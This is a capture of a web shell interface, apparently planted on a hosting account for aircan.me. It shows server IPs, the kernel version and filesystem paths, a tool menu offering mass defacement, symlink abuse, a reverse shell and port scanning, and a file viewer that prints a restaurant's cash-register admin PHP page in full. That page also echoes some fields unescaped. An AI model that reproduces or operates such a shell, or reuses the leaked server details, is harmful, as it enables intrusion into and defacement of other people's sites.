Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: caja.php
<?php require '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if(!$admin_id){ header('location:../admin_login.php'); exit; } require '../components/admin_roles.php'; $adminRole = getRoleBySession($conn); $_SESSION['admin_role'] = $adminRole; enforceAdminPermissionForFile('caja.php'); require '../components/cash_register_functions.php'; $message = []; // Handle POST actions if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $action = $_POST['action']; if ($action === 'open') { $initial = (float)($_POST['initial_balance'] ?? 0); $notes = trim($_POST['notes'] ?? ''); if (isRegisterOpen($conn)) { $message[] = "Ya existe una caja abierta."; } else { $stmt = $conn->prepare("INSERT INTO cash_registers (status, opened_by, initial_balance, notes) VALUES ('open', ?, ?, ?)"); if ($stmt->execute([$admin_id, $initial, $notes])) { header("Location: caja.php"); exit; } } } elseif ($action === 'close') { $final = (float)($_POST['final_balance'] ?? 0); $notes = trim($_POST['notes'] ?? ''); $register = getCurrentRegister($conn); if (!$register) { $message[] = "No hay caja abierta para cerrar."; } else { $summary = getRegisterSummary($conn, $register['id']); $expected_total = (float)$register['initial_balance'] + $summary['total_incomes'] - $summary['total_expenses']; $expected_cash = (float)$register['initial_balance'] + $summary['cash_incomes'] - $summary['cash_expenses']; $expected_transfer = $summary['transfer_incomes'] - $summary['transfer_expenses']; // La diferencia se calcula contra el efectivo físico $difference = $final - $expected_cash; $stmt = $conn->prepare("UPDATE cash_registers SET status = 'closed', closed_at = NOW(), closed_by = ?, final_balance = ?, expected_balance = ?, expected_cash = ?, expected_transfer = ?, difference = ?, notes = ? WHERE id = ?"); if ($stmt->execute([$admin_id, $final, $expected_total, $expected_cash, $expected_transfer, $difference, $notes, $register['id']])) { header("Location: caja.php"); exit; } } } elseif ($action === 'transaction') { $type = $_POST['type'] ?? 'income'; $amount = (float)($_POST['amount'] ?? 0); $method = $_POST['payment_method'] ?? 'efectivo'; $description = trim($_POST['description'] ?? ''); if ($amount > 0 && $description !== '') { if (recordCashTransaction($conn, $type, $amount, $method, $description, 'manual', null, $admin_id)) { $message[] = "Movimiento registrado con éxito."; header("Location: caja.php"); exit; } else { $message[] = "Error al registrar: ¿Asegúrese de que hay una caja abierta?"; } } else { $message[] = "Monto inválido o descripción vacía."; } } } $register = getCurrentRegister($conn); $isOpen = $register !== null; $summary = $isOpen ? getRegisterSummary($conn, $register['id']) : null; $expected_total = $isOpen ? ((float)$register['initial_balance'] + $summary['total_incomes'] - $summary['total_expenses']) : 0; $expected_cash = $isOpen ? ((float)$register['initial_balance'] + $summary['cash_incomes'] - $summary['cash_expenses']) : 0; $expected_transfer = $isOpen ? ($summary['transfer_incomes'] - $summary['transfer_expenses']) : 0; $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Control de Caja | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="../css/admin_style.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <script src="https://cdn.jsdelivr.net/npm/html2canvas@1.4.1/dist/html2canvas.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/jspdf@2.5.1/dist/jspdf.umd.min.js"></script> <style> /* Caja POS Styles */ :root { --pos-bg: #f3f4f6; --pos-card-bg: #ffffff; --pos-primary: #111827; --pos-accent: #2563eb; --pos-success: #10b981; --pos-danger: #ef4444; --pos-warning: #f59e0b; --pos-text: #374151; --pos-border: #eee; --border-radius-lg: 12px; --border-radius-md: 8px; --shadow-premium: 0 4px 12px rgba(0, 0, 0, 0.05); } body.admin-panel { background-color: var(--pos-bg); } .caja-workspace { padding: 1.5rem; max-width: 1200px; margin: 0 auto; font-family: 'Montserrat', sans-serif; animation: fadeIn 0.4s ease-out; } .caja-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 2rem; border-bottom: 2px solid #eee; padding-bottom: 1rem; } @media (max-width: 768px) { .caja-header { flex-direction: column; align-items: flex-start; gap: 1.5rem; } } .caja-title { font-size: 2.2rem; font-weight: 700; color: var(--pos-primary); margin: 0; display: flex; align-items: center; gap: 1rem; } @media (max-width: 600px) { .caja-title { font-size: 1.8rem; } } .caja-actions { display: flex; gap: 0.8rem; flex-wrap: wrap; } .btn-pos { padding: 1rem 1.8rem; border-radius: var(--border-radius-md); font-weight: 700; font-size: 1.4rem; border: none; cursor: pointer; display: flex; align-items: center; gap: 0.8rem; transition: all 0.2s; box-shadow: 0 4px 6px rgba(0,0,0,0.05); } @media (max-width: 768px) { .caja-actions { width: 100%; display: grid; grid-template-columns: 1fr 1fr; gap: 0.8rem; } .btn-pos { padding: 1.2rem; font-size: 1.2rem; justify-content: center; } .btn-close { grid-column: span 2; } } .btn-pos i { font-size: 1.6rem; } .btn-pos:hover { transform: translateY(-2px); box-shadow: 0 6px 12px rgba(0,0,0,0.1); } .btn-open { background: var(--pos-success); color: white; } .btn-close { background: var(--pos-danger); color: white; } .btn-income { background: var(--pos-accent); color: white; } .btn-expense { background: var(--pos-warning); color: white; } .caja-stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 1.5rem; margin-bottom: 2.5rem; } @media (max-width: 600px) { .caja-stats-grid { grid-template-columns: 1fr; gap: 1rem; } } .stat-card { background: var(--pos-card-bg); border-radius: var(--border-radius-md); padding: 1.8rem; box-shadow: 0 4px 12px rgba(0,0,0,0.05); border: 1px solid var(--pos-border); display: flex; flex-direction: column; gap: 0.6rem; position: relative; overflow: hidden; } @media (max-width: 600px) { .stat-card { padding: 2rem; } } .stat-card::before { content: ''; position: absolute; top: 0; left: 0; width: 4px; height: 100%; } .stat-card.c-initial::before { background: var(--pos-primary); } .stat-card.c-incomes::before { background: var(--pos-success); } .stat-card.c-expenses::before { background: var(--pos-danger); } .stat-card.c-expected::before { background: var(--pos-accent); } .stat-card.c-status::before { background: var(--pos-warning); } .stat-title { font-size: 1.1rem; font-weight: 600; color: #6b7280; text-transform: uppercase; letter-spacing: 0.5px; } .stat-value { font-size: 2.4rem; font-weight: 700; color: var(--pos-primary); } @media (max-width: 600px) { .stat-value { font-size: 2.8rem; } } .stat-sub { font-size: 1.1rem; color: #9ca3af; display: flex; justify-content: space-between; } @media (max-width: 600px) { .stat-sub { flex-direction: column; gap: 0.5rem; font-size: 1.2rem; } } .transactions-container { background: var(--pos-card-bg); border-radius: var(--border-radius-md); box-shadow: 0 4px 12px rgba(0,0,0,0.05); border: 1px solid var(--pos-border); overflow: hidden; margin-bottom: 4rem; } .transactions-header { padding: 1.5rem; border-bottom: 1px solid var(--pos-border); background: #f8fafc; font-weight: 700; color: var(--pos-primary); font-size: 1.6rem; } .pos-table { width: 100%; border-collapse: collapse; } .pos-table th { background: #f8fafc; color: #475569; font-weight: 700; text-transform: uppercase; font-size: 1.2rem; padding: 1.5rem; text-align: left; border-bottom: 2px solid var(--pos-border); } .pos-table td { padding: 1.5rem; border-bottom: 1px solid var(--pos-border); color: var(--pos-text); font-size: 1.4rem; vertical-align: middle; } @media (max-width: 768px) { .pos-table thead { display: none; } .pos-table tr { display: block; padding: 2rem; border-bottom: 10px solid #f3f4f6; background: #fff; } .pos-table td { display: flex; justify-content: space-between; align-items: center; padding: 1rem 0 !important; border-bottom: 1px solid #f1f5f9 !important; font-size: 1.4rem !important; } .pos-table td:last-child { border-bottom: none !important; } .pos-table td::before { content: attr(data-label); font-weight: 700; color: #64748b; font-size: 1.1rem; } .pos-table td.text-amount { font-size: 2rem !important; font-weight: 800; margin-top: 1rem; padding-top: 1.5rem !important; } } .badge-type { padding: 0.4rem 0.8rem; border-radius: 99px; font-size: 0.8rem; font-weight: 600; text-transform: uppercase; } .badge-income { background: #dcfce7; color: #166534; } .badge-expense { background: #fee2e2; color: #991b1b; } .badge-method { padding: 0.3rem 0.6rem; border-radius: 8px; font-size: 0.8rem; background: #e0e7ff; color: #3730a3; font-weight: 600; } .text-amount { font-weight: 700; font-size: 1.1rem; } .text-income { color: var(--pos-success); } .text-expense { color: var(--pos-danger); } @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } } /* Modal form styles */ .swal2-popup { border-radius: var(--border-radius-md) !important; padding: 1.5rem !important; font-family: 'Montserrat', sans-serif !important; } @media (max-width: 600px) { .swal2-popup { width: 100% !important; padding: 2rem 1rem !important; font-size: 1.2rem !important; } } .swal2-pos-input { width: 100% !important; padding: 0.75rem 1rem !important; border: 2px solid var(--pos-border) !important; border-radius: 10px !important; font-size: 1.1rem !important; margin-bottom: 1rem !important; box-sizing: border-box !important; } .swal2-pos-input:focus { border-color: var(--pos-accent) !important; outline: none !important; } .swal2-pos-label { display: block; text-align: left; font-weight: 600; margin-bottom: 0.5rem; color: var(--pos-primary); } .badge-turno { background: var(--pos-primary); color: #fff; padding: 0.5rem 1rem; border-radius: 8px; font-weight: 800; font-size: 1.1rem; display: inline-flex; align-items: center; gap: 0.5rem; box-shadow: 0 2px 5px rgba(0,0,0,0.1); } .badge-turno small { font-weight: 400; font-size: 0.8rem; opacity: 0.7; margin-left: 2px; } </style> </head> <body class="admin-panel"> <?php include '../components/admin_header.php'; ?> <div class="caja-workspace"> <div class="caja-header"> <h1 class="caja-title"> <i class="fas fa-cash-register"></i> Control de Caja </h1> <div class="caja-actions"> <?php if (!$isOpen): ?> <button class="btn-pos btn-open" onclick="openRegister()"><i class="fas fa-box-open"></i> Abrir Caja</button> <?php else: ?> <button class="btn-pos btn-income" onclick="addTransaction('income')"><i class="fas fa-arrow-down"></i> Ingreso</button> <button class="btn-pos btn-expense" onclick="addTransaction('expense')"><i class="fas fa-arrow-up"></i> Egreso</button> <button type="button" onclick="downloadRegisterPDF(<?= $register['id'] ?? '0' ?>)" class="btn-pos" style="background: #64748b; color: #fff; cursor: pointer; display: inline-flex; align-items: center; justify-content: center; min-width: auto; padding: 0.6rem 1rem;"> <i class="fas fa-file-pdf"></i> Reporte </button> <button class="btn-pos btn-close" onclick="closeRegister()"><i class="fas fa-lock"></i> Cerrar Caja</button> <?php endif; ?> </div> </div> <!-- Hidden Forms for POST requests --> <form id="actionForm" method="POST" style="display:none;"> <input type="hidden" name="action" id="formAction"> <input type="hidden" name="initial_balance" id="formInitial"> <input type="hidden" name="final_balance" id="formFinal"> <input type="hidden" name="type" id="formType"> <input type="hidden" name="amount" id="formAmount"> <input type="hidden" name="payment_method" id="formMethod"> <input type="hidden" name="description" id="formDesc"> <input type="hidden" name="notes" id="formNotes"> </form> <div class="caja-stats-grid"> <div class="stat-card c-status"> <span class="stat-title">Estado del Turno</span> <div class="stat-value" style="color: <?= $isOpen ? 'var(--pos-success)' : 'var(--pos-danger)' ?>;"> <?= $isOpen ? 'ABIERTA' : 'CERRADA' ?> </div> <div class="stat-sub"> <?php if ($isOpen): ?> <span>Desde: <?= date('h:i A', strtotime($register['opened_at'])) ?></span> <?php else: ?> <span>Esperando apertura</span> <?php endif; ?> </div> </div> <?php if ($isOpen): ?> <div class="stat-card c-initial"> <span class="stat-title">Base / Fondo Inicial</span> <div class="stat-value"><?= formatMoney($register['initial_balance'], $conn) ?></div> </div> <div class="stat-card c-incomes"> <span class="stat-title">Ingresos Totales</span> <div class="stat-value text-income">+<?= formatMoney($summary['total_incomes'], $conn) ?></div> <div class="stat-sub"> <span>Efe: <?= formatMoney($summary['cash_incomes'], $conn) ?></span> <span>Tra: <?= formatMoney($summary['transfer_incomes'], $conn) ?></span> </div> </div> <div class="stat-card c-expenses"> <span class="stat-title">Egresos Totales</span> <div class="stat-value text-expense">-<?= formatMoney($summary['total_expenses'], $conn) ?></div> <div class="stat-sub"> <span>Efe: <?= formatMoney($summary['cash_expenses'], $conn) ?></span> <span>Tra: <?= formatMoney($summary['transfer_expenses'], $conn) ?></span> </div> </div> <div class="stat-card c-expected"> <span class="stat-title">Efectivo Esperado (Cash)</span> <div class="stat-value" style="color: var(--pos-accent);"><?= formatMoney($expected_cash, $conn) ?></div> <div class="stat-sub"> <span>Total Bruto: <?= formatMoney($expected_total, $conn) ?></span> </div> </div> <div class="stat-card c-initial" style="background: #f0f7ff;"> <span class="stat-title">Digital (Transferencias)</span> <div class="stat-value" style="color: #3b82f6;"><?= formatMoney($expected_transfer, $conn) ?></div> <div class="stat-sub"> <span>Ventas sin efectivo físico</span> </div> </div> <?php endif; ?> </div> <?php if ($isOpen): ?> <div class="transactions-container"> <div class="transactions-header"> <i class="fas fa-list-ul"></i> Movimientos del Turno Actual </div> <div style="overflow-x: auto;"> <table class="pos-table"> <thead> <tr> <th>Hora</th> <th>Tipo</th> <th>Descripción</th> <th>Método</th> <th>Referencia</th> <th style="text-align: right;">Monto</th> <th style="text-align: center;">Acción</th> </tr> </thead> <tbody> <?php $transStmt = $conn->prepare(" SELECT ct.*, di.order_number as dine_in_num, do.order_number as delivery_num FROM cash_transactions ct LEFT JOIN dine_in_orders di ON ct.reference_type = 'dine_in' AND ct.reference_id = di.id LEFT JOIN delivery_orders do ON ct.reference_type = 'delivery' AND ct.reference_id = do.id WHERE ct.register_id = ? ORDER BY ct.created_at DESC "); $transStmt->execute([$register['id']]); $transactions = $transStmt->fetchAll(PDO::FETCH_ASSOC); if (empty($transactions)): ?> <tr><td colspan="7" style="text-align:center; padding: 2rem; color: #9ca3af;">Aún no hay movimientos registrados en este turno.</td></tr> <?php else: ?> <?php foreach($transactions as $t): $isIncome = $t['type'] === 'income'; $refId = $t['reference_id']; if ($t['reference_type'] === 'manual') { $refText = 'Manual'; } elseif ($t['reference_type'] === 'dine_in') { $orderNum = $t['dine_in_num'] ?? $refId; $refText = 'Comanda #' . $orderNum; } else { $orderNum = $t['delivery_num'] ?? $refId; $refText = 'Domicilio #' . $orderNum; } ?> <tr> <td data-label="Hora"><?= date('h:i A', strtotime($t['created_at'])) ?></td> <td data-label="Tipo"> <span class="badge-type <?= $isIncome ? 'badge-income' : 'badge-expense' ?>"> <?= $isIncome ? 'Ingreso' : 'Egreso' ?> </span> </td> <td data-label="Descripción"><?= htmlspecialchars($t['description']) ?></td> <td data-label="Método"> <span class="badge-method"><i class="fas <?= $t['payment_method'] === 'efectivo' ? 'fa-money-bill' : 'fa-university' ?>"></i> <?= ucfirst($t['payment_method']) ?></span> </td> <td data-label="Referencia"><span style="color: #64748b; font-size: 0.9rem;"><i class="fas fa-hashtag"></i> <?= $refText ?></span></td> <td data-label="Monto" style="text-align: right;" class="text-amount <?= $isIncome ? 'text-income' : 'text-expense' ?>"> <?= $isIncome ? '+' : '-' ?><?= formatMoney($t['amount'], $conn) ?> </td> <td data-label="Acción" style="text-align: center;"> <button class="btn-pos" style="background: transparent; color: #ef4444; padding: 0.5rem; font-size: 1.1rem; min-width:auto; box-shadow:none;" onclick="deleteMovement(<?= $t['id'] ?>)"> <i class="fas fa-trash-alt"></i> </button> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> <?php endif; ?> <?php if (!$isOpen): ?> <div class="transactions-container" style="margin-top: 2rem;"> <div class="transactions-header"> <i class="fas fa-history"></i> Historial de Turnos Anteriores </div> <div style="overflow-x: auto;"> <table class="pos-table"> <thead> <tr> <th>IDENTIFICACIÓN</th> <th>Apertura</th> <th>Cierre</th> <th>Responsable</th> <th style="text-align: right;">Efectivo Final</th> <th style="text-align: right;">Diferencia</th> <th style="text-align: center;">Acciones</th> </tr> </thead> <tbody> <?php // Obtener total de turnos cerrados para la numeración secuencial $totalClosedCount = $conn->query("SELECT COUNT(*) FROM cash_registers WHERE status = 'closed'")->fetchColumn(); $currentCounter = $totalClosedCount; // Empezamos desde el total ya que el orden es DESC $histStmt = $conn->prepare("SELECT r.*, a.name as opener FROM cash_registers r LEFT JOIN admin a ON r.opened_by = a.id WHERE r.status = 'closed' ORDER BY r.closed_at DESC LIMIT 10"); $histStmt->execute(); $history = $histStmt->fetchAll(PDO::FETCH_ASSOC); if (empty($history)): ?> <tr><td colspan="7" style="text-align:center; padding: 2rem; color: #9ca3af;">No hay turnos anteriores registrados.</td></tr> <?php else: ?> <?php foreach($history as $h): $diff = (float)$h['difference']; $diffClass = $diff == 0 ? '' : ($diff > 0 ? 'text-income' : 'text-expense'); $shiftNum = $currentCounter--; ?> <tr> <td data-label="IDENTIFICACIÓN"> <div class="badge-turno"> Turno #<?= $shiftNum ?> </div> </td> <td data-label="Apertura"><?= date('d/m/Y h:i A', strtotime($h['opened_at'])) ?></td> <td data-label="Cierre"><?= date('d/m/Y h:i A', strtotime($h['closed_at'])) ?></td> <td data-label="Responsable"><?= htmlspecialchars($h['opener']) ?></td> <td data-label="Efectivo Final" style="text-align: right; font-weight: 700;"><?= formatMoney($h['final_balance'], $conn) ?></td> <td data-label="Diferencia" style="text-align: right;" class="<?= $diffClass ?>"> <?= $diff > 0 ? '+' : '' ?><?= formatMoney($diff, $conn) ?> </td> <td data-label="Acciones" style="text-align: center;"> <div style="display: flex; gap: 0.5rem; justify-content: center;"> <button class="btn-pos btn-income" style="padding: 0.6rem 1.2rem; font-size: 1rem; display: inline-flex; width:auto; min-width:auto; margin:0;" onclick="viewHistoryDetails(<?= $h['id'] ?>, <?= $shiftNum ?>)"> <i class="fas fa-eye"></i> Detalles </button> <button type="button" onclick="downloadRegisterPDF(<?= $h['id'] ?>)" class="btn-pos" style="background: #10b981; color: white; padding: 0.5rem 0.8rem; font-size: 1.1rem; min-width:auto; box-shadow:none; margin:0; cursor: pointer; display: inline-flex; align-items: center; justify-content: center;"> <i class="fas fa-file-pdf"></i> </button> <button class="btn-pos" style="background: transparent; color: #ef4444; padding: 0.5rem; font-size: 1.1rem; min-width:auto; box-shadow:none; margin:0;" onclick="deleteShift(<?= $h['id'] ?>)"> <i class="fas fa-trash-alt"></i> </button> </div> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> <?php endif; ?> </div> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> function viewHistoryDetails(id, shiftNum) { Swal.fire({ title: 'Cargando detalles...', allowOutsideClick: false, didOpen: () => { Swal.showLoading(); } }); fetch('get_caja_movements.php?id=' + id) .then(response => response.json()) .then(data => { if (!data.success) { Swal.fire('Error', data.message, 'error'); return; } let movementsHtml = ''; if (data.movements.length === 0) { movementsHtml = '<tr><td colspan="5" style="text-align:center; padding:1.5rem; color:#999;">No hubo movimientos en este turno.</td></tr>'; } else { data.movements.forEach(m => { const isIncome = m.tipo === 'income'; movementsHtml += ` <tr style="border-bottom: 1px solid #eee;"> <td style="padding:1rem; font-size:1.1rem;">${m.hora}</td> <td style="padding:1rem; font-size:1.1rem;"> <span class="badge-type ${isIncome ? 'badge-income' : 'badge-expense'}" style="font-size:0.7rem;"> ${isIncome ? 'Ingreso' : 'Egreso'} </span> </td> <td style="padding:1rem; font-size:1.1rem; text-align:left;">${m.descripcion}</td> <td style="padding:1rem; font-size:1.1rem;">${m.metodo}</td> <td style="padding:1rem; font-size:1.2rem; text-align:right; font-weight:700;" class="${isIncome ? 'text-income' : 'text-expense'}"> ${isIncome ? '+' : '-'}$${parseFloat(m.monto).toLocaleString('es-CO')} </td> </tr> `; }); } const reg = data.register; const diffColor = reg.difference == 0 ? '#374151' : (reg.difference > 0 ? '#10b981' : '#ef4444'); Swal.fire({ title: `<div style="font-size: clamp(1.4rem, 4vw, 2.2rem); font-weight:800; letter-spacing:-0.02em;">Detalles del Turno #${shiftNum}</div>`, width: '95%', maxWidth: '900px', html: ` <div style="text-align:left; font-family:'Outfit', sans-serif;"> <div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap:1rem; background:rgba(249, 250, 251, 0.5); padding:1.2rem; border-radius:16px; margin-bottom:2rem; border:1px solid rgba(0,0,0,0.05);"> <div style="padding:0.5rem;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Apertura</p> <p style="margin:0; font-weight:700; font-size:1.1rem; color:#1e293b;">${reg.opened_at} <br><small style="color:#64748b; font-weight:400;">por ${reg.opened_by}</small></p> </div> <div style="padding:0.5rem;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Cierre</p> <p style="margin:0; font-weight:700; font-size:1.1rem; color:#1e293b;">${reg.closed_at} <br><small style="color:#64748b; font-weight:400;">por ${reg.closed_by}</small></p> </div> <div style="border-top:1px solid rgba(0,0,0,0.05); padding-top:1rem; padding:0.5rem;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Efectivo Esperado</p> <p style="margin:0; font-weight:800; font-size:1.5rem; color:#111827;">$${parseFloat(reg.expected_cash || reg.expected).toLocaleString('es-CO')}</p> </div> <div style="border-top:1px solid rgba(0,0,0,0.05); padding-top:1rem; padding:0.5rem;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Efectivo Final</p> <p style="margin:0; font-weight:800; font-size:1.5rem; color:#111827;">$${parseFloat(reg.final).toLocaleString('es-CO')}</p> </div> <div style="grid-column: 1 / -1; border-top:1px solid rgba(0,0,0,0.05); padding-top:1.5rem; display:flex; flex-wrap:wrap; justify-content:space-between; align-items:center; gap:1.5rem;"> <div style="flex:1; min-width:200px;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Diferencia (Cash)</p> <p style="margin:0; font-weight:900; font-size:1.8rem; color:${diffColor};"> ${reg.difference > 0 ? '+' : ''}$${parseFloat(reg.difference).toLocaleString('es-CO')} </p> </div> <div style="text-align:right; flex:1; min-width:200px;"> <p style="margin:2px 0; color:#6b7280; font-size:0.85rem; text-transform:uppercase; font-weight:600;">Digital (Transferencias)</p> <p style="margin:0; font-weight:800; font-size:1.5rem; color:#3b82f6;">$${parseFloat(reg.expected_transfer || 0).toLocaleString('es-CO')}</p> </div> </div> </div> <h3 style="font-size:1.4rem; margin-bottom:1.2rem; color:#111827; font-weight:800; border-left:5px solid var(--pos-accent); padding-left:1rem; letter-spacing:-0.02em;">Movimientos del Turno</h3> <div style="max-height:400px; overflow-y:auto; border:1px solid rgba(0,0,0,0.05); border-radius:20px; box-shadow:inset 0 2px 10px rgba(0,0,0,0.02);"> <div class="pos-table-wrapper"> <table class="pos-table" style="font-size:0.9rem;"> <thead style="position:sticky; top:0; z-index:20;"> <tr> <th>Hora</th> <th>Tipo</th> <th>Descripción</th> <th>Método</th> <th style="text-align:right;">Monto</th> </tr> </thead> <tbody> ${movementsHtml.replace(/<tr/g, '<tr class="modal-row"')} </tbody> </table> </div> </div> </div> <style> .modal-row td { font-size: 1.1rem !important; padding: 1.2rem 1rem !important; } @media (max-width: 768px) { .pos-table-wrapper { overflow: visible; } .modal-row { border-bottom: 4px solid #f8fafc !important; } } </style> `, confirmButtonText: 'Cerrar ventana', confirmButtonColor: '#1e293b', padding: '1.5rem', customClass: { container: 'premium-swal-container', popup: 'premium-swal-popup' } }); }) .catch(err => { Swal.fire('Error', 'No se pudo cargar la información', 'error'); console.error(err); }); } function deleteMovement(id) { Swal.fire({ title: '¿Eliminar movimiento?', text: "Esta acción no se puede deshacer y afectará el balance actual.", icon: 'warning', showCancelButton: true, confirmButtonColor: '#ef4444', cancelButtonColor: '#4b5563', confirmButtonText: 'Sí, eliminar', cancelButtonText: 'Cancelar' }).then((result) => { if (result.isConfirmed) { const formData = new FormData(); formData.append('id', id); fetch('delete_cash_transaction.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.success) { Swal.fire({ icon: 'success', title: 'Eliminado', text: data.message, timer: 1500, showConfirmButton: false }).then(() => { location.reload(); }); } else { Swal.fire('Error', data.message, 'error'); } }) .catch(error => { Swal.fire('Error', 'No se pudo procesar la solicitud', 'error'); console.error(error); }); } }); } function openRegister() { Swal.fire({ title: 'Abrir Caja', html: ` <label class="swal2-pos-label">Base o Fondo Inicial ($)</label> <input type="number" id="initBal" class="swal2-pos-input" value="0" min="0" step="100"> <label class="swal2-pos-label">Notas / Comentarios (opcional)</label> <textarea id="initNotes" class="swal2-pos-input" rows="2" placeholder="Ej: Turno mañana..."></textarea> `, showCancelButton: true, confirmButtonText: '<i class="fas fa-box-open"></i> Abrir Turno', cancelButtonText: 'Cancelar', confirmButtonColor: 'var(--pos-success)', preConfirm: () => { const bal = document.getElementById('initBal').value; const notes = document.getElementById('initNotes').value; if(!bal || bal < 0) { Swal.showValidationMessage('El fondo inicial no puede ser negativo.'); return false; } return { bal, notes }; } }).then((result) => { if (result.isConfirmed) { document.getElementById('formAction').value = 'open'; document.getElementById('formInitial').value = result.value.bal; document.getElementById('formNotes').value = result.value.notes; document.getElementById('actionForm').submit(); } }); } function closeRegister() { Swal.fire({ title: 'Cerrar Caja', html: ` <div style="text-align:left; background: #eef2ff; color:#3730a3; padding: 1rem; border-radius: 8px; margin-bottom: 1rem; font-weight:600; font-size:1.1rem;"> <p style="margin-bottom:0.5rem;"><i class="fas fa-info-circle"></i> Balance del Turno:</p> <ul style="margin:0; padding-left:1.5rem; font-weight:400;"> <li>Efectivo Esperado: <b>$${parseFloat(<?= (float)$expected_cash ?>).toLocaleString('es-CO')}</b></li> <li>Transferencias: <b>$${parseFloat(<?= (float)$expected_transfer ?>).toLocaleString('es-CO')}</b></li> </ul> </div> <div style="text-align:left; background: #fffbeb; color:#92400e; padding: 1rem; border-radius: 8px; margin-bottom: 1rem; font-size:0.95rem;"> Cuenta el dinero físico que hay en la gaveta y escríbelo abajo. </div> <label class="swal2-pos-label">Efectivo Contado en Caja ($)</label> <input type="number" id="finalBal" class="swal2-pos-input" value="${parseFloat(<?= (float)$expected_cash ?>)}" min="0" step="100"> <label class="swal2-pos-label">Notas / Observaciones de Cierre</label> <textarea id="closeNotes" class="swal2-pos-input" rows="2" placeholder="Sobran 500, Gastos extra..."></textarea> `, showCancelButton: true, confirmButtonText: '<i class="fas fa-lock"></i> Cerrar Definitivamente', cancelButtonText: 'Cancelar', confirmButtonColor: 'var(--pos-danger)', preConfirm: () => { return { bal: document.getElementById('finalBal').value, notes: document.getElementById('closeNotes').value }; } }).then((result) => { if (result.isConfirmed) { Swal.fire({ title: '¿Confirmar Cierre?', text: "No podrás registrar más movimientos a esta caja una vez cerrada.", icon: 'warning', showCancelButton: true, confirmButtonColor: 'var(--pos-danger)', confirmButtonText: 'Sí, Cerrar' }).then((res) => { if(res.isConfirmed) { document.getElementById('formAction').value = 'close'; document.getElementById('formFinal').value = result.value.bal; document.getElementById('formNotes').value = result.value.notes; document.getElementById('actionForm').submit(); } }); } }); } function addTransaction(type) { const isIncome = type === 'income'; const title = isIncome ? 'Registrar Ingreso Extra' : 'Registrar Egreso / Gasto'; const color = isIncome ? 'var(--pos-success)' : 'var(--pos-warning)'; Swal.fire({ title: title, html: ` <label class="swal2-pos-label">Motivo o Descripción</label> <input type="text" id="tDesc" class="swal2-pos-input" placeholder="${isIncome ? 'Base extra, propina...' : 'Pago proveedor, insumos...'}"> <label class="swal2-pos-label">Monto ($)</label> <input type="number" id="tAmount" class="swal2-pos-input" min="1" step="100" placeholder="0"> <label class="swal2-pos-label">Método de Pago</label> <select id="tMethod" class="swal2-pos-input"> <option value="efectivo">Efectivo</option> <option value="transferencia">Transferencia</option> </select> `, showCancelButton: true, confirmButtonText: '<i class="fas fa-check"></i> Guardar', cancelButtonText: 'Cancelar', confirmButtonColor: color, preConfirm: () => { const desc = document.getElementById('tDesc').value; const amt = document.getElementById('tAmount').value; const method = document.getElementById('tMethod').value; if(!desc || !amt || amt <= 0) { Swal.showValidationMessage('Debe ingresar un monto válido y descripción.'); return false; } return { desc, amt, method }; } }).then((result) => { if (result.isConfirmed) { document.getElementById('formAction').value = 'transaction'; document.getElementById('formType').value = type; document.getElementById('formDesc').value = result.value.desc; document.getElementById('formAmount').value = result.value.amt; document.getElementById('formMethod').value = result.value.method; document.getElementById('actionForm').submit(); } }); } function deleteShift(id) { Swal.fire({ title: '¿Eliminar turno?', text: "Se eliminarán permanentemente el resumen del turno y todos sus movimientos asociados.", icon: 'warning', showCancelButton: true, confirmButtonColor: '#ef4444', cancelButtonColor: '#64748b', confirmButtonText: 'Sí, eliminar todo', cancelButtonText: 'Cancelar' }).then((result) => { if (result.isConfirmed) { const formData = new FormData(); formData.append('id', id); fetch('delete_cash_register.php', { method: 'POST', body: formData }) .then(res => res.json()) .then(data => { if (data.is_success) { Swal.fire({ title: 'Eliminado', text: data.message, icon: 'success' }).then(() => { location.reload(); }); } else { Swal.fire({ title: 'Error', text: data.message, icon: 'error' }); } }); } }); } async function downloadRegisterPDF(id) { if(!id || id == '0') { Swal.fire('Error', 'No hay un turno válido para generar el reporte.', 'error'); return; } Swal.fire({ title: 'Generando Reporte...', text: 'Estamos preparando tu PDF profesional, por favor espera un momento.', allowOutsideClick: false, didOpen: 